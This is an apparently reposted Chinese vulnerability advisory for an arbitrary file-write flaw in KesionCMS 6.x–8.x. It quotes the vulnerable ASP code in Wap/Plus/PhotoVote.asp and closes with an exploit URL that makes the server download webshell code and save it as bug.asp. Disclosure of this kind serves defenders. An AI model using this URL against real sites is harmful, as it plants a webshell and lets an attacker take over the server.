失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > kesioncms (科讯cms) 6.x-8.x版本写入任意内容文件漏洞

kesioncms (科讯cms) 6.x-8.x版本写入任意内容文件漏洞

时间:2023-01-13 07:42:38

相关推荐

kesioncms (科讯cms) 6.x-8.x版本写入任意内容文件漏洞

发布时间:-04-08关键词:kesioncms 漏洞 漏洞版本:kesioncms(科讯cms) 6.x - 8.x

漏洞简介:未对提交参数判断,导致可将任意内容的文件写入网站服务器

漏洞代码:

Wap/Plus/PhotoVote.asp中:

Dim KS:Set KS=New PublicCls

Dim ID:ID= Replace(KS.S("ID")," ","")

Dim ChannelID:ChannelID=KS.G("ChannelID")

If ChannelID="" Then ChannelID=2

If KS.G("LocalFileName")<>"" And KS.G("RemoteFileUrl")<>"" Then

If KS.SaveBeyondFile(KS.G("LocalFileName"),KS.G("RemoteFileUrl"))= True Then

Response.write KS.G("LocalFileName")'错误提示

End If

End If

……

'==================================================

'过程名:SaveBeyondFile

'作 用:保存远程的文件到本地

'参 数:LocalFileName ------ 本地文件名

'参 数:RemoteFileUrl ------ 远程文件URL

'==================================================

Function SaveBeyondFile(LocalFileName,RemoteFileUrl)

On Error Resume Next

SaveBeyondFile=True

dim Ads,Retrieval,GetRemoteData

Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")

With Retrieval

.Open "Get", RemoteFileUrl, False, "", ""

.Send

If .Readystate<>4 then

SaveBeyondFile=False

Exit Function

End If

GetRemoteData = .ResponseBody

End With

Set Retrieval = Nothing

Set Ads = Server.CreateObject("Adodb.Stream")

With Ads

.Type = 1

.Open

.Write GetRemoteData

.SaveToFile server.MapPath(LocalFileName),2

.Cancel()

.Close()

End With

If Err.Number<>0 Then

Err.Clear

SaveBeyondFile=False

Exit Function

End If

Set Ads=nothing

End Function

通过上面的代码可见,KS.G("LocalFileName")和KS.G("RemoteFileUrl")仅判断是否为空和过滤一些SQL字符,然后就执行写入文件操作,过滤不严导致可构造恶意url写入文件。

漏洞利用URL:

http://目标网址/Wap/Plus/PhotoVote.asp?LocalFileName=bug.asp&RemoteFileUrl=/code.txt

其中的code.txt为webshell代码文本。此URL将会在Wap/Plus下写入bug.asp,并返回文件名。

如果觉得《kesioncms (科讯cms) 6.x-8.x版本写入任意内容文件漏洞》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。